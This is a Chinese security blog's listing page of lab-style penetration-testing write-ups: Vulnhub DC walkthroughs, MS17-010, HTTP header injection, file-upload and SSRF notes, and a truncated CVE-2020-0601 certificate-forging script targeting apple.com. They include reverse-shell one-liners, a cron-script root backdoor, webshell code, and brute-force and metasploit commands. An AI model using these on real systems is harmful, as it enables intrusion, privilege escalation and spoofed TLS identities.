首页
关于道锋
工具
友情链接
公告栏
麟图图床
麟云文件
麟云KMS
麟云工具
麟云证书管理
Search
1
使用ReDroid打造自己的云手机
3,662 阅读
2
Cloudflare SAAS 接入自选教程
2,226 阅读
3
兽装曲腿制作文档
1,999 阅读
4
Frpc使用XTCP不通过服务器传输
1,864 阅读
5
CloudFront CDN配置教程
1,219 阅读
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
登录
Search
标签搜索
开源
源码
教程
服务器
环境搭建
摄影
rustlang
Rust
VS CODE
v2ray
bbr
加速
网络优化
拥塞控制
CloudFront教程
CF教程
AWS教程
CloudFront接入
Frpc
Frps
道锋潜鳞
累计撰写
443
篇文章
累计收到
124
条评论
首页
栏目
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
页面
关于道锋
工具
友情链接
公告栏
友人
PCD-01’s Blog
iMin博客
特资啦!个人资源分享站
黎洛云综合门户网站
三石的记录
咬一口激动的鱼
中二病晚期の物語
奇梦博客
布丁の小窝
道麟笔记
迷失的小K
koto's Site
Abyss-博客
西西のBlog
锐冰龙小站
Nick的琐碎日常
渣渣120
麟图图床
麟云文件
麟云KMS
麟云工具
麟云证书管理
搜索到
60
篇与
的结果
2020-04-29
关于什么是HTTP头注入
HOST注入在以往http1.0中并没有host字段,但是在http1.1中增加了host字段,并且http协议在本质也是要建立tcp连接,而建立连接的同时必须知道对方的ip和端口,然后才能发送数据。既然已经建立了连接,那host字段到底起着什么样的的作用?Host头域指定请求资源的Intenet主机和端口号,必须表示请求url的原始服务器或网关的是比如www.test.com和mail.test.com两个域名IP相同,由同一台服务器支持,服务器可以根据host域,分别提供不同的服务,在客户端看来是两个完全不同的站点。Host头实验总结:在http 1.1中不能缺失host字段,如果缺失, 服务器返回400 bad request,http1.1中不能缺失host字段,但host字段可以是空值。密码重置毒相信大家忘记密码时,使用邮箱找回密码并不陌生。看上去貌似能可靠只能发送到你绑的邮箱去重置密码。并且使用你自己独特的密钥令牌才能重置成功。但是好多cms和实际场景为了获取网站的域名拼接秘钥令牌的方式将连接发送到你的邮箱。但是往往获取正确的域名并不是十分的不容易, 然而用一个固定的URI来作为域名会有各种麻烦。所以一般程序员会采用(java)request.getHeader(“Host”); (php)$_SERVER['HTTP_HOST']的方式来获取域名。上面所述的两种获取域名的方法并不可靠。都可以人为的去控制。导致当域名和令牌拼接时,攻击者通过篡改hsot值生成钓鱼连接,当受害者点击时,受害者的秘钥令牌将会直接发送到攻击者的服务器上。使其受害者的密码被攻击者篡改XSS:有些网站会根据HTTP_HOST字段来进行加载css样式表。如果要为固定的话,当域名发生改变时,那么站内所有的css即将失效。而且修改的时候也将的十分头疼,因为每个页面都会引用大量的公共资源。web缓存中毒简单描述:Web缓存服务器的应用模式主要是正向代理和反向代理。正向代理(Proxy)模式是代理网络用户访问internet,客户端将本来要直接发送到internet上源服务器的连接请求发送给代理服务器处理。正向代理的目的是加速用户在使用浏览器访问Internet时的请求响应时间,并提高广域网线路的利用率。正向代理浏览器无需和该站点建立联系,只访问到Web缓存即可。通过正向代理,大大提高了后续用户的访问速度,使他们无需再穿越Internet,只要从本地Web缓存就可以获取所需要的信息,避免了带宽问题,同时可以大量减少重复请求在网络上的传输,从而降低网络流量,节省资费。思路:Apache接收到一个带有非法host header的请求,它会将此请求转发给在 httpd.conf 里定义的第一个虚拟主机。因此,Apache很有可能将带有任意host header的请求转发给应用。X-Forwarded-For注入:大家有没有见过这样一种场景,当你对用户网站进行的爆破或者sql注入的时候,为了防止你影响服务器的正常工作,会限制你访问,当你再次访问时,会提示你的由于你的访问频过快或者您的请求有攻击行为,限制访问几个小时内不能登陆,并且重定向到一个错误友好提示页面。由此可以发起联想?http是无状态连接,而且自己也清空了COOKIE信息,服务器是怎么还是自己的?首先当你有攻击行为的时候,服务器一般会把恶意用户的ip存入数据库。当每次用户请求的时候(以java语言为例),服务器通过request.getRemoteAddr()这个方法来获取请求者的ip。于是想到这个ip我们自己到底能不能伪造?答案是否定的。因为经过测试request.getRemoteAddr并不会回从数据包的请求头去获取ip字段的Value。所以推测ip地址是ip包中的soure来的,当我们发送http请求时是否可以更新soure ip来绕过限制呢,这个可以有!,但是你将不会收到对方的响应,因为在正常的TCP/IP通信中,伪造数据包来源 IP会让发送出去的数据包返回到伪造的IP上,无法实现正常的通信。这样我们也就失去的绕过的意义。User-Agent注入User-Agent、Content-Type等只要是http包中存在的都可以进行篡改。在这再说下User-Agent的头注入和Content-Type的头注入,其他的就不详细赘述。基本原理大同小异。最后会进行总结。一般使用user-Agent,有两种场景一是记录访问者的信息,如什么浏览器、操作系统版本等。二是获取客户的user-Agent,根据你提供的信息来给你推送不同的网页。如果你手机手机访问那么返回你的页面将是小型的web界面,还有各种浏览器的特性,推送相兼容的页面。此时已经进行的数据库的入库和查询操作,如果没对此做过滤那么漏洞就产生了。Content-Type注入远程命令执行Content-Type看见这个字段相信大家都不陌生,例如S2-045的远程命令执行。当Jkarta解析文件上传请求包不当,当攻击者使用恶意的Content-Type,会导致上传发生异常。从而导致Str2框架对Content-Type的内容进行ongl的解析导致命令执行。这个漏洞虽然要涉及Jkarta插件,而arta插件ommons-fileupload和commons-io包,但是这是Str2的默认插件。也就是说基本所有开发使用到上传都会导入这两个依赖包。最重要的是这个漏洞不需要真正的上传只需进行模拟上传即可,甚至可以是GET请求。
2020年04月29日
128 阅读
0 评论
0 点赞
2020-04-24
Vulnhub靶场之DC-7
这周开始上课了,没法每日更新了,只能周末抽时间发,,,那么进入正题老规矩先搜索主机的地址arp-scan -l用nmap扫描端口和信息nmap -sS -A -p 1-65535 192.168.75.140开启了80端口,访问一下看看emmm,为啥这么熟悉,。,。使用之前的方法攻击Drupal,用msf测试失败。。。。总觉得哪里和原先的不一样????挂上SSR去谷歌搜一波看看!!!配置文件?账号密码?能不能登录后台?SSH呢,奇怪的操作增加了WTF奇怪的操作果然增加了查看当前目录下的文件,backups里面有两个加密文件,不可利用,查看mbox文件,发现是一个计划任务:自动备份数据库的执行情况,调用的脚本是/opt/scripts/backups.sh,是root权限执行的。看看权限和内容drush和gpg是什么东西?其中drush是专门用来管理Drupal站点的shell,可以用来修改密码可以修改admin账号的密码,这里要进入/var/www/html目录下才有权限执行该命令,这里修改密码为123465,提示success即修改密码成功。登录成功在Content中新建一个Basic page,然后在Title输入页面的名称,在Body中放入反弹shell的PHP代码,Text format的位置选择PHP code。但是从下图中可以看到Text format里面没有PHP code选项。这些都弄好了之后,在kali上监听端口,最后点击Preview按钮。不过这个貌似被移除了可以通过手动安装。选择URL并点击installURL:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz随后在Content中添加webshell.php,点击Content > Add content > Basic page,先将Text format修改为PHP code,再写入反弹shell可以直接msfvenom生成一个反弹shell代码msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.75.129 LPORT=4444 R > DC7_shell.php复制反弹shell代码到Body里,Title自定义,完了之后放着别动,先使用metasploit监听端口,然后点击Previewmsfconsole use exploit/multi/handler set lhost 192.168.75.129 set lport 4444 set payload php/meterpreter/reverse_tcp run点击Preview后反弹成功,接着进入交互shellshell python -c "import pty;pty.spawn('/bin/bash')"我们使用Drupal反弹回来的shell用户是www-data,所以接下来就是将反弹shell的代码附加到backups.sh脚本中(因为计划任务是root权限执行的,反弹回来的shell也会是root用户)echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.75.129 1234 >/tmp/f" >> backups.sh 然后在kali中监听相应端口,等待计划任务的执行,执行后便获得rootshell,接着进入交互shellnc -lvnp 1234 shell python -c "import pty;pty.spawn('/bin/bash')" 拿下flag
2020年04月24日
114 阅读
0 评论
0 点赞
2020-04-17
Vulnhub靶场之DC-5
还是老规矩,先搜集一波信息arp-scan -l 检索一下我们的主机设备192.168.75.138使用nmap扫描端口信息 nmap -sS -p 1-65535 -A 192.168.75.138发现启用了nginx服务,开启着80端口。访问试试似乎是一个介绍页面,还有一个留言板发现存在index.php,solutions.php,about-us.php,faq.php,contact.php,thankyou.php,footer.php七个页面]使用kali下的自带字典因为我用的是Community版本的burp。。。。爆破没法设置线程巨慢,因此盗几张图既然是文件包含,直接老规矩去读取/etc/passwdthankyou.php?file=/etc/passwd对方使用的是Nginx,那么能不能读取出nginx的日志文件呢。查询资料得出,默认nginx的日志路径是/var/log/nginx/*.log如果说他将会读取日志。那么能否在日志里面插入一句话木马呢?插入成功上菜刀连接http://192.168.75.138/thankyou.php?file=/var/log/nginx/error.log试试看成功不出所料,又是一个低权用户那么用nc反弹到kali里面玩nc -e /bin/bash 192.168.75.129 1234nc -lvvp 1234然后我们寻找具有sudo权限的操作find / -perm -u=s -type f 2>/dev/nullscreen提权?searchsploit screen 4.5.0查找可用于screen 4.5.0的漏洞脚本文件cp /usr/share/exploitdb/exploits/linux/local/41152.txt 41152.textcp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh将41154.sh中上面一部分c语言代码另存为libhax.c 编译libhax.c文件gcc -fPIC -shared -ldl -o libhax.so libhax.c将41154.sh中下面一部分c语言代码另存为rootshell.c 编译rootshell.c文件gcc -o rootshell rootshell.c将41154.sh中剩下部分代码另存为dc5.sh脚本文件并在保存dc5.sh文件输入 :set ff=unix ,否则在执行脚本文件时后出错为dc5.sh增加可执行权限,执行dc5.sh文件,成功获取到root权限cd /tmpchmod +x dc5.shls -l./dc5.sh
2020年04月17日
201 阅读
0 评论
0 点赞
2020-04-16
Vulnhub靶场之DC-4 AIS
开头先解释一下为啥没有DC-3DC3的虚拟机安装完后,设备无法联网,内网无法被发现,因此跳过。老规矩,先查一下目标地址192.168.75.137使用nmap对目标进行扫描nmap -sS -p 1-65535 -A 192.168.75.137开启了80.22端口,直接访问80端口,看看是何方神圣还是老规矩,上Hydra大杀器hydra爆破密码: hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.75.137 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F如果你出现这种情况请进入/usr/share/wordlists/路径下kali自带的密码字典rockyou.txt.gz进行解压:gzip -d rockyou.txt.gz登录成功用burp抓包查看nc反弹shell: nc -e /bin/sh 192.168.75.129 4444发现三个账户jim的账户中有密码文件爆破猜解ssh密码,与账户 hydra -L dc4.txt -P passwd.txt -t 6 ssh://192.168.75.131登录进去。看起来好像是有一个邮件的意思噗,密码都出来了登录上去尝试sudo -l 提权,出现提示,使用teehee更改权限,并提权为root
2020年04月16日
193 阅读
0 评论
0 点赞
2020-04-15
Vulnhub靶场之DC-2 WordPress
环境:kali:192.168.75.129 DC2 -靶机 和 kali 在同一C段先是arp-scan -l检索局域网内主机发现靶机地址,使用nmap进行扫描 nmap -A -p 1-65535 192.168.75.136发现打开了80端口,SSH端口那么直接访问80看看有没有什么神奇的东西还跳转了,上hosts重定向。win10路径: C:\Windows\System32\drivers\etclinux路径:/etc/hosts 访问成功,发现flag1使用工具 cewl爬取生成密码cewl http://dc-2/ -w passwd.txt准备使用wpscan进行搞事情,但我。。上hydra大杀器吧,修是不可能修的,,,WordPress默认后台地址:/wp-admin 且WordPress当用户名不存在时会提示用户不存在,可增加爆破效率hydra -L user.txt -P passwd.txt dc-2 http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'我们跑出了 jerry和tom账户,登进去看看tom,没啥东西,jerry用户界面如下,发现了flag2啊哈想到上一个DC1的靶机是用SSH干进去的问题是,WordPress的CMS本身还是比较安全的,问题基本都出在插件上,可这个jerry的账号权限不够,无法安装插件来上传shell那就硬着头皮ssh试试看,用登录账号密码试试jerry老贼不是同一个密码,太草(一种植物)蛋了试试看Tom老贼不愧是你。。。。执行命令发现 command not found,百度得知这是因为ssh远程连接到服务器的环境变量中不包含对应可执行文件的路径。需要自行添加BASH_CMDS[a]=/bin/sh;a $ /bin/bash export PATH=$PATH:/bin/ export PATH=$PATH:/usr/bin得到flag3切换到Jerry,发现flag4.txt哈?Git还能提权?试试看吧。看看git有没有那个权限 sudo -lflag不会骗人(小声bb)sudo git -p help !/bin/sh奇怪,我怎么没法提权,查了查百度,发现git有一个缓冲区溢出漏洞,在使用sudo git -p --help时,不需要输入root密码即可以root权限执行这条命令。我们尽量减小缓冲区的行数,使其一次性显示不完这条命令的回显结果,这样这条命令就一直处于运行状态,加上此时处于root权限,我们直接在这时候打开bash shell,直接提权至root。看起来要打开gui了,来自Xshell的鄙,艹(一种植物)奇怪的知识增加了
2020年04月15日
123 阅读
0 评论
0 点赞
2020-04-14
Vulnhub靶场之DC-1 Drupal
今天来进行CTF的小测试题,DC靶场1,难度不高,最适合我这种萌小新了。安装上ova虚拟包,看看访问正常不正常正常,上nmap扫描一下端口回到网站,查看robots.txt,看看有没有什么有用的信息比我还白,,,似乎是有一个古老的漏洞CVE,拿MSF打一下看看,搜索drupal开干,获取相应。然后Getshell这是撒?,这奇妙的名字,读取一波看看通过百度可知drupal的数据库配置文件在/sites/default/settings.php真是有趣,爆破、、、远程连接暂时不得动。不如来查看etc/passwdemmmmm这是啥啊?根据flag2提示暴力破解flag4账户密码,利用自带的medusa+John the Rippermedusa -M ssh -h 192.168.75.135 -u flag4 -P /usr/share/john/password.lst -e ns -F -M: 表示你要破解的类型。-h:目标机器地址。-u:用户名。-e : 尝试空密码。-F:破解成功后立即停止破解。-v:显示破解过程。very nice 但是确定是让我爆破?ssh连接目标emmmm。不是root玩毛线要想有root权限:1 以root账户登录(尝试使用爆破未果)2 普通用户登录,查找具有suid权限位的命令去get shellsuid权限位:说明可以以root权限执行命令可我这种垃圾怎么会提权,呜呜呜find / -type f -perm -u=s 2>/dev/nullfind / -type f -name shell -exec "whoami" \;我也不知道为什么要用find 哈哈哈这这这。。。root权限?find / -type f -name shell -exec "/bin/sh" \;跑一波sh试试搞定。。。
2020年04月14日
150 阅读
0 评论
0 点赞
2020-04-07
CSRF与SSRF
CSRF又称跨站请求伪造,XSS就是CSRF中的一种。二者区别,XSS利用的是用户对指定网站的信任,CSRF利用是网站对用户浏览器的信任。发生条件当用户在安全网站A登录后保持登录的状态,并在此时浏览了保存有恶意代码的另一个网站B。此时B站劫持用户的浏览器并以用户以登录的状态对A站发送非用户本人的操作。当服务端没有对这次请求验证的情况下,将这次操作作为可信任的用户的操作。发生地点攻击者可以将恶意网址或者代码藏在论坛博客等任何用户生成内容的网站中。这意味着如果服务端没有适合的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。类似于XSS一些html标签可以发送HTTP GET类型请求 像,浏览器渲染img标签的时候,并不知道标签中src属性的值,是否为一个图片,浏览器发起一个HTTP GET请求,并携带当前受害者当前浏览器在网站的cookie,获取返回结果。对于很多网站来说,即使是一些重要的操作使用POST来提交请求,但是服务器再接收请求的时候并没有严格区分POST和GET。在PHP中滥用$_REQUEST就是例子。如果服务端已经区分了GET,POST只用POST请求数据,可以通过制造一个隐藏的表单,并通过js代码自动提交伪造的表单。要我说的话,和XSS有一部分类似防御增加验证码机制,增加带有大量噪点的验证码,杜绝代码能够识别的简单验证码,当然了也经常被绕过验证referer,采用同源政策,referer记录着数据包的来源地址,来判断请求的合法性,但是这个可以伪造使用Token,令牌是一种将表单value的加密算法生成不同的加密结果,在服务器端进行验证。在访问登录过一个网站,点击退出账户。SSRF又名服务端请求伪造攻击有的大型网站在web应用上提供了从其他服务器获取数据的功能。使用户指定的URL web应用获取图片,下载文件,读取文件内容。攻击者利用有缺陷的web应用作为代理攻击远程和内网的服务器(跳板)危害:可对外网,服务器所在内网,受控服务器进行端口扫描,获取一些banner对内网web应用进行指纹识别,通过访问默认文件实现攻击内外网web应用,主要是使用get参数就可以实现分攻击利用file协议读取本地文件该漏洞存在的条件是对curl函数的滥用比如:if(isset($_POST['commit'])){ $link = $_POST['url']; $filename = './curled/'.rand().'txt'; $curlobj = curl_init($link); //初始化连接 $fp = fopen($filename,"w"); curl_setopt($curlobj, CURLOPT_FILE, $fp); //设置输出文件,默认为STDOUT (浏览器)。 curl_setopt($curlobj, CURLOPT_HEADER, 0); //设置为0表示不返回HTTP头部信息。 curl_exec($curlobj); //执行curl请求 curl_close($curlobj); //关闭curl连接 fclose($fp); $fp = fopen($filename,"r"); $result = fread($fp, filesize($filename)); fclose($fp); //关闭文件 echo $result; }并为对输入的命令进行过滤,导致服务器遭到攻击修复方案:过滤返回信息,如果web应用数去获取某一类型文件,在把结果返回给用户之前先验证信息是否符合标准。例如:当攻击者利用"识别图片"下的该漏洞远程包含一个文件,可以通过在服务器上验证返回数据是否是纯像素,来进行过滤。统一错误页限制请求端口为http常用端口 80,443,8080,8090内网IP黑名单,避免应用被用来获取内网数据,攻击内网
2020年04月07日
67 阅读
0 评论
0 点赞
2020-04-06
ms17010上古漏洞复现
懵逼吗,突然复现一个上古的漏洞。没办法,今天忙着给站加功能了,只能水一篇了。再加上在某“大黑客群”发现一个还在耍这个洞的“大哥”。特此水下此文。0x01 实验环境攻击机:kali linuxip:192.168.75.129目标机:windows 7ip:192.168.75.133为了确保复现成功,先把360大爷和防火墙大哥关掉先然后看看445小老弟是不是在村门口了0x02 配置exploit老规矩,先进msfconsolemsf > use exploit/windows/smb/ms17_010_eternalbluemsf exploit(ms17_010_eternalblue) > set rhost 192.168.75.133rhost => 192.168.75.133查看选项msf exploit(ms17_010_eternalblue) > show options设置目标机的IP,其他选项默认就可以;注意:选项中说明了此exploit对应的目标系统,所以并不是具有该漏洞的系统都能利用此exploit;0x03 配置payloadpayload只需要配置监听返回会话的IP;msf exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcpmsf exploit(ms17_010_eternalblue) > set lhost 192.168.75.129lhost => 192.168.75.1290x04 开始攻击警告:攻击过程可能导致目标系统宕机重启,谨慎操作!msf exploit(ms17_010_eternalblue) > exploit成功获得session。shell 进入主机操作
2020年04月06日
213 阅读
0 评论
0 点赞
2020-04-06
文件上传漏洞
文件上传漏洞文件上传漏洞是指由于程序员未对上传的文件进行严格的验证和过滤,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。在了解文件上传漏洞之前先了解什么是Web容器、IIS、文件解析。什么是web容器?web容器是一种服务程序,在服务器一个端口就有一个提供相应服务的程序,而这个程序就是处理从客户端发出的请求,如tomcat、apache、nginx等等。(可以理解为给编程语言提供环境)中间件:提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通。中间件处在操作系统和更高一级应用程序之间。容器*:给处于其中的应用程序组件(ASP,JSP,PHP)提供一个环境。使处于其中的应用程序组件之间跟容器中的环境变量接口交互,不必关注其他系统问题。服务器:www服务器或http服务器。提供web信息游览服务。它只需支持http协议、html文档格式以及url,向游览器提供服务的程序。什么是IIS?IIS全称是互联网信息服务,包括FTP/FTPS、NNTP、HTTP/HTTPS、SMTP等服务。.net Framework是基础类库,是程序运行的底层框架。IIS是架设Web服务器用来提供网页游览服务的,属于系统环境。一般用ASP.NET开发软件,然后靠IIS对公网提供服务。什么是文件解析?当服务器接收到一个HTTP请求的时候,IIS首先需要决定如何去处理这个请求(服务器处理.aspx和.html肯定是不一样的),根据的是文件的后缀名。服务器获取所请求的页面(也可以是文件)的后缀名后接下来会在服务器端寻找可以处理这类后缀名的应用程序,如果IIS找不到可以处理此类文件的应用程序,那么IIS将直接把这个文件返还给客户端。1 解析漏洞攻击者在利用上传漏洞时,通常会与Web容器的解析漏洞配合在一起。所以我们首先来了解一下解析漏洞,这样才能更深入地了解上传漏洞,并加以防范。常见的Web容器有ⅡS、Apache、Nginx、Tomcat等,下面主要讲IIS、Apache容器。1.1 IIS解析漏洞IIS 6.0在解析文件时存在以下两个解析漏洞。当建立*.asa、*.asp格式的文件夹时,其目录下的任意文件都将被IIS当做asp文件来解析。 例如:建立文件夹parsing.asp,在parsing.asp文件夹内新建一个文本文档test.txt,其内容为<%=NOW()%>,然后在浏览器内访问。 “NOWO”是ASP提供获取当前时间的函数,TXT是文本文档格式,IIS是不会去解析此类文件的,应该会直接显示其内容,而在parsing.asp文件夹中,却被当作ASP脚本来解析。 当文件为*.asp;1.jpg时,IIS6.0同样会以ASP脚本来执行,如:新建文件test.asp;1.jpg,内容为<%=NOW()%>。1.2 Apache解析漏洞Apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断,如xxx.php.owf.rar ,”.owf”和”.rar”这两种后缀是apache解析不了的,apache就会把xxx.php.owf.rar解析成php。怎么去判断是不是合法的后缀就是这个漏洞利用关键,测试时把常见的后缀都写上,去测试是不是合法,任意不识别的后缀,逐级向上识别。有些程序开发人员在上传文件时,判断文件名是否是PHP、ASP、ASPX、ASA、CER、ASPX等脚本扩展名,如果是,则不允许上传,这时攻击者就有可能上传1.php.rar等扩展名来绕过程序检测,并配合解析漏洞,获取到WebShell。2 绕过上传漏洞绕过上传漏洞分以下两种。客户端检测:客户端使用JavaScript检测,在文件未上传时,就对文件进行验证;服务器端检测:服务端脚本一般会检测文件的MIME类型,检测文件扩展名是否合法,甚至有些程序员检测文件中是否嵌入恶意代码。在研究上传漏洞之前,首先来看两个小工具:中国菜刀和一句话图片木马。“中国菜刀”这款软件是用来管理网站文件的,非常小巧灵活,它仅仅需要一段简短的代码就可以方便地管理网站。中国菜刀现在已经成为安全研究者手中必备的利器,其官方网站为:http://www.maicaidao.com。该软件提供的服务器端文件仅有一行代码。目前支持的服务器端脚本包括:PHP、ASP、ASP.NET、JSP等,并且支持HTTPS安全连接的网站。常见的代码如下:Asp一句话:<%eval request(“xxx”)%>Php 一句话:<%php @eval($_POST[xxx]);?>Aspx一句话:<%@ Page Languag=”xxx”%><%eval(Request.Item[“xxx”])%>正因为代码短小精悍,所以被黑客称为一句话木马(一句话后门)。将<?php @eval(S_POST['xxx']);?>保存为shell.php,上传至PHP主机空间中,配置菜刀进行连接。IIS6.0的解析漏洞触发条件:必须是IIS6.0的环境文件名漏洞 正常命名:as.jpg触发漏洞的命名方式:as.asp;.jpghttp://192.168.16.128/as.jpg 打开是一张正常的图片。http://192.168.16.128/as.asp;.jpg 打开已经被解析成asp的源码了。文件夹名漏洞 正常命名:a/as.jpg触发解析漏洞的命名:a.asp/as.jpghttp://192.168.16.128/a/as.jpg 打开是一张正常的图片。http://192.168.16.128/a.asp/as.jpg 同样,打开已经被解析成asp的源码了。二、IIS7.0、IIS7.5 以及Nginx<8.03 解析漏洞IIS7.0和IIS7.5的解析漏洞没有IIS6.0那样全面,有时候或许没效果。还有一点需要注意:IIS7.0、IIS7.5这种解析漏洞只适用于PHP编程语言的网站;不像IIS6.0的解析漏洞,ASP和PHP都可以。正常的命名:a.jpg触发解析漏洞的命名:a.jpg/.phpwww.*.com/upload/20190622/aa0j4si01j741b2ugpgbgc8t4a. jpg 打开是一张正常的图片。www.*.com/upload/20190622/aa0j4si01j741b2ugpgbgc8t4a. jpg/.php 同样,打开已经被解析成PHP的源码了。试想一下,如果这个图片是我的PHP一句话木马呢?是不是说明这个PHP一句话木马已经被解析了。接下来,我们用中国菜刀或中国蚁剑连接就可以轻松获取到webshell了。三、Apache解析漏洞apache解析很奇怪,它解析是按照向左解析法来的,虽然说,到目前为止,我还暂时没有碰到过有这种漏洞的网站。向左解析法:a.jpg.asp.gif.xxx大概意思是,当Apache碰到 .xxx 不认识的时候,它会向左移找下一个,继续解析 .gif,这里就会以 .gif 来解析后面依次类推主。a.php.xxx 解析成a.phpb.php.xxx 解析成b.php四、空格 和 . 绕过上传限制空格和点在Windows系统下会自己忽略掉。a.asp 去绕过对上传的限制a.asp. 去绕过上传限制五、绕过上传的方法之00截断00截断就是指用%00;a.asp%00.jpg 就会变成a.asp,后面的.jpg就会被%00截断了。
2020年04月06日
152 阅读
0 评论
0 点赞
2020-04-05
水平越权与垂直越权
越权访问漏洞越权访问(Broken Access Control,简称BAC)是Web应用程序中一种常见的漏洞,由于其存在范围广、危害大,被OWASP列为Web应用十大安全隐患的第二名。该漏洞是指应用在检查授权时存在纰漏,使得攻击者在获得低权限用户账户后,利用一些方式绕过权限检查,访问或者操作其他用户或者更高权限。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定。越权访问漏洞主要分为水平越权访问和垂直越权访问。水平越权访问漏洞水平越权访问是一种“基于数据的访问控制”设计缺陷引起的漏洞。由于服务器端在接收到请求数据进行操作时没有判断数据的所属人/所属部门而导致的越权数据访问漏洞。 假设用户A和用户B属于同一角色,拥有相同的权限等级,他们能获取自己的私有数据(数据A和数据B),但如果系统只验证了能访问数据的角色,而没有对数据做细分或者校验,导致用户A能访问到用户B的数据(数据B),那么用户A访问数据B的这种行为就叫做水平越权访问。垂直越权访问漏洞垂直越权是一种“基于URL的访问控制”设计缺陷引起的漏洞,又叫做权限提升攻击。由于后台应用没有做权限控制,或仅仅在菜单、按钮上做了权限控制,导致恶意用户只要猜测其他管理页面的URL或者敏感的参数信息,就可以访问或控制其他角色拥有的数据或页面,达到权限提升的目的。防范措施前后端同时对用户输入信息进行校验,双重验证机制 调用功能前验证用户是否有权限调用相关功能 执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限 直接对象引用的加密资源ID,防止攻击者枚举ID,敏感数据特殊化处理 永远不要相信来自用户的输入,对于可控参数进行严格的检查与过滤
2020年04月05日
265 阅读
0 评论
0 点赞
2020-04-02
CVE-2020-0601漏洞复现与分析
第一步:生成https证书基于GitHub原作者的python脚本我修改了一些证书信息,运行下面这个python脚本将生成 www.apple.com.cn和 www.apple.com 域名的https证书。#!/usr/bin/env python3 import datetime import hashlib import os import subprocess import sys from typing import BinaryIO, Iterable, Optional, Sequence, Tuple import ecdsa.curves import ecdsa.ellipticcurve import ecdsa.numbertheory import ecdsa.util from asn1crypto import core, keys, pem, x509 def load_certificate_chain(filename: str) -> Iterable[x509.Certificate]: with open( os.path.join(os.path.dirname(os.path.abspath(__file__)), filename), "rb" ) as f: pem_bytes = f.read() for object_type, _, der_bytes in pem.unarmor(pem_bytes, multiple=True): if object_type != "CERTIFICATE": continue yield x509.Certificate.load(der_bytes) def generate_ec_private_key(name: str) -> keys.ECPrivateKey: der_bytes = subprocess.check_output( ( "openssl", "ecparam", "-name", name, "-param_enc", "explicit", "-genkey", "-noout", "-outform", "DER", ) ) return keys.ECPrivateKey.load(der_bytes) def get_exploit_generator( k: int, Qx: int, Qy: int, curve: ecdsa.curves.Curve ) -> Tuple[int, int]: k_inverse = ecdsa.numbertheory.inverse_mod(k, curve.order) Q = ecdsa.ellipticcurve.Point(curve.curve, Qx, Qy, curve.order) G = Q * k_inverse return (G.x(), G.y()) def curve_from_ec_parameters(parameters: keys.SpecifiedECDomain) -> ecdsa.curves.Curve: p = parameters["field_id"]["parameters"].native a = parameters["curve"]["a"].cast(core.IntegerOctetString).native b = parameters["curve"]["b"].cast(core.IntegerOctetString).native Gx, Gy = parameters["base"].to_coords() order = parameters["order"].native curve_fp = ecdsa.ellipticcurve.CurveFp(p, a, b) G = ecdsa.ellipticcurve.Point(curve_fp, Gx, Gy, order) return ecdsa.curves.Curve(None, curve_fp, G, (0, 0)) def digest_certificate(certificate: x509.Certificate) -> bytes: der_bytes = certificate["tbs_certificate"].dump() return hashlib.new(certificate.hash_algo, der_bytes).digest() def sign_certificate( signing_key: ecdsa.keys.SigningKey, certificate: x509.Certificate ) -> None: digest = digest_certificate(certificate) signature_bytes = signing_key.sign_digest( digest, sigencode=ecdsa.util.sigencode_der ) certificate["signature_value"] = signature_bytes def exploit_certificate( certificate: x509.Certificate, ) -> Tuple[ecdsa.keys.SigningKey, keys.ECPrivateKey]: curve_name = certificate.public_key["algorithm"]["parameters"].chosen.native ec_private_key = generate_ec_private_key(curve_name) k = ec_private_key["private_key"].native parameters = ec_private_key["parameters"].chosen nist_curve = curve_from_ec_parameters(parameters) Qx, Qy = certificate.public_key["public_key"].to_coords() Gx, Gy = get_exploit_generator(k, Qx, Qy, nist_curve) parameters["base"] = keys.ECPoint.from_coords(Gx, Gy) ec_private_key["parameters"] = parameters ec_private_key["public_key"] = certificate.public_key["public_key"] certificate.public_key["algorithm"]["parameters"] = parameters exploit_curve = curve_from_ec_parameters(parameters) signing_key = ecdsa.keys.SigningKey.from_secret_exponent(k, curve=exploit_curve) 